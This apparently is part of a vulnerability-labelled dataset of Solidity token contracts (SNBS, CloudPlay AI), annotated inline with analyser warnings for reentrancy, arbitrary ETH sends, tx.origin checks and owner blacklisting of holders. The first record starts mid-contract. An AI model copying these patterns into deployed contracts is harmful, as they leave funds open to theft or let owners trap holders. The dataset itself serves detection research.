WARNING Optimization Issue (constable-states | ID: be8b4bc): SNBS._reduceBuyTaxAt should be constant \n\t// Recommendation for be8b4bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69b38a3): SNBS._reduceSellTaxAt should be constant \n\t// Recommendation for 69b38a3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93002a2): SNBS._preventSwapBefore should be constant \n\t// Recommendation for 93002a2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Strategic National Bitcoin Stockpile\";\n\n string private constant _symbol = unicode\"SNBS\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67dadfa): SNBS._taxSwapThreshold should be constant \n\t// Recommendation for 67dadfa: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5764c3c): SNBS._maxTaxSwap should be constant \n\t// Recommendation for 5764c3c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xbe170C79D5e43d10Ae7F567c41d96F2AE21Bb5Ab);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7fd5216): SNBS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7fd5216: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e42cb87): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e42cb87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 42f2cf8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 42f2cf8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e42cb87\n\t\t// reentrancy-benign | ID: 42f2cf8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e42cb87\n\t\t// reentrancy-benign | ID: 42f2cf8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 35e9048): SNBS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 35e9048: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 42f2cf8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e42cb87\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c444ffe): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c444ffe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2a449d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2a449d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c444ffe\n\t\t\t\t// reentrancy-eth | ID: 2a449d5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c444ffe\n\t\t\t\t\t// reentrancy-eth | ID: 2a449d5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 2a449d5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 2a449d5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2a449d5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c444ffe\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2a449d5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2a449d5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c444ffe\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c444ffe\n\t\t// reentrancy-events | ID: e42cb87\n\t\t// reentrancy-benign | ID: 42f2cf8\n\t\t// reentrancy-eth | ID: 2a449d5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c444ffe\n\t\t// reentrancy-events | ID: e42cb87\n\t\t// reentrancy-eth | ID: 2a449d5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e9bc78b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e9bc78b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1a14602): SNBS.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1a14602: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e57aa62): SNBS.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e57aa62: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 360e190): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 360e190: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e9bc78b\n\t\t// reentrancy-eth | ID: 360e190\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e9bc78b\n\t\t// unused-return | ID: e57aa62\n\t\t// reentrancy-eth | ID: 360e190\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e9bc78b\n\t\t// unused-return | ID: 1a14602\n\t\t// reentrancy-eth | ID: 360e190\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e9bc78b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 360e190\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10146.sol",
"size_bytes": 19885,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function Disclaim_ownership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CloudPlay is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b0d55e3): CloudPlay._taxWallet should be immutable \n\t// Recommendation for b0d55e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe87ad0): CloudPlay._initialBuyTax should be constant \n\t// Recommendation for fe87ad0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7faf7cc): CloudPlay._initialSellTax should be constant \n\t// Recommendation for 7faf7cc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb3ec4e): CloudPlay._finalBuyTax should be constant \n\t// Recommendation for fb3ec4e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 4;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59f1a5f): CloudPlay._finalSellTax should be constant \n\t// Recommendation for 59f1a5f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 4;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba58bf0): CloudPlay._reduceBuyTaxAt should be constant \n\t// Recommendation for ba58bf0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45152fc): CloudPlay._reduceSellTaxAt should be constant \n\t// Recommendation for 45152fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f607e04): CloudPlay._preventSwapBefore should be constant \n\t// Recommendation for f607e04: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"CloudPlay AI\";\n\n string private constant _symbol = \"CPAI\";\n\n uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83b0387): CloudPlay._taxSwapThreshold should be constant \n\t// Recommendation for 83b0387: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4dd5e5): CloudPlay._maxTaxSwap should be constant \n\t// Recommendation for e4dd5e5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aea834e): CloudPlay.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aea834e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 65e9ab8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 65e9ab8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e753cf9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e753cf9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 65e9ab8\n\t\t// reentrancy-benign | ID: e753cf9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 65e9ab8\n\t\t// reentrancy-benign | ID: e753cf9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ce12ba6): CloudPlay._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ce12ba6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e753cf9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 65e9ab8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c64c972): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c64c972: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 44af364): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 44af364: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7695505): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7695505: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 44af364\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: c64c972\n\t\t\t\t// reentrancy-eth | ID: 7695505\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: c64c972\n\t\t\t\t\t// reentrancy-eth | ID: 7695505\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7695505\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c64c972\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7695505\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7695505\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c64c972\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 65e9ab8\n\t\t// reentrancy-events | ID: c64c972\n\t\t// reentrancy-benign | ID: e753cf9\n\t\t// reentrancy-eth | ID: 7695505\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function Erasureofthresholds() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1f418a2): CloudPlay.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1f418a2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 65e9ab8\n\t\t// reentrancy-events | ID: c64c972\n\t\t// reentrancy-eth | ID: 7695505\n\t\t// arbitrary-send-eth | ID: 1f418a2\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b339e5f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b339e5f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b9b90d8): CloudPlay.Interchange() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b9b90d8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 03d8c6f): CloudPlay.Interchange() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 03d8c6f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3d5400c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3d5400c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Interchange() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: b339e5f\n\t\t// reentrancy-eth | ID: 3d5400c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b339e5f\n\t\t// unused-return | ID: 03d8c6f\n\t\t// reentrancy-eth | ID: 3d5400c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b339e5f\n\t\t// unused-return | ID: b9b90d8\n\t\t// reentrancy-eth | ID: 3d5400c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b339e5f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3d5400c\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function Minimizeexchange() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10147.sol",
"size_bytes": 19841,
"vulnerability": 4
} |
{
